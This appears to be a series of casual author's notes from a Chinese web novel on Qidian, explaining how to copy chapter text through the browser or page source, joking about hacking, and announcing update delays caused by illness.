  如果不对,那么很有可能是被人修改过的,请小心使用~~

  以上,嗯嗯,很幸苦的做好了,大家多少请支持一下吧~~

  发现一个很严重的问题,起点竟然不能复制章节内容,这里介绍两个方法来获得本文中提供的几个地址。

  一、很简单,先按CTRL+A然后再按CTRL+C,按的时候要快,不然很可能会失败。然后在一个空文档中按CTRL+V,这时你会发现整个页面的内容都被复制了,找到其中的地址连接,复制吧。

  二、点击浏览器的查看工具,查看网页源代码。然后CTRL+F搜索本节的标题【不眠不休的奋斗之后,系统终于完美竣工】,完成后你会发现在这下面几行中有一个以TXT为后缀结尾的文档地址,把这个地址复制下来,使用迅雷下载。打开文档,你就可以看到本节的内容了。然后……复制链接地址看俺系统的介绍

  。

  很简单吧?嘿嘿,其实好多东西都很简单~黑客也很简单~

  如果你下载到的不是本节内容的文档,而是起点VIP数据库的文档,嘿嘿~以后看书就爽咯!

  以上是俺在胡言乱语,大家不要去真的想去下载起点的VIP数据库啊!


  今天不更新了,俺好困,去补觉~~凌晨还有欧洲杯,怕到时熬不住~

  大家鄙视我吧,我不会反抗的~

  欠了7章了,我记在手心,下周每天还一章~


  嗯,这两天发烧,烧的人稀里糊涂的,刚刚睡醒,现在好了很多。耽误了更新,请大家包涵一下,等明天就恢复。

  这两天烧的整个人都没精神了,天气这么热,我竟还要盖被子才能睡觉,什么世道。好久没生病了,一生起病来倒有要命的架势,还好阿夜我命大,菩萨保佑啊!

  之前没有任何解释的就断更,阿夜特意起来发个消息告诉大家,对不住了!


  注:CHM版全文电子书适用于在PC电脑中阅读,TXT版全文电子书适用于在掌机、PDA、商务通、手机中阅读。
      章节阅读开通用“← →按键进行前后翻页阅读”的功能,“按回车[enter]键”可以直接返回作品首页。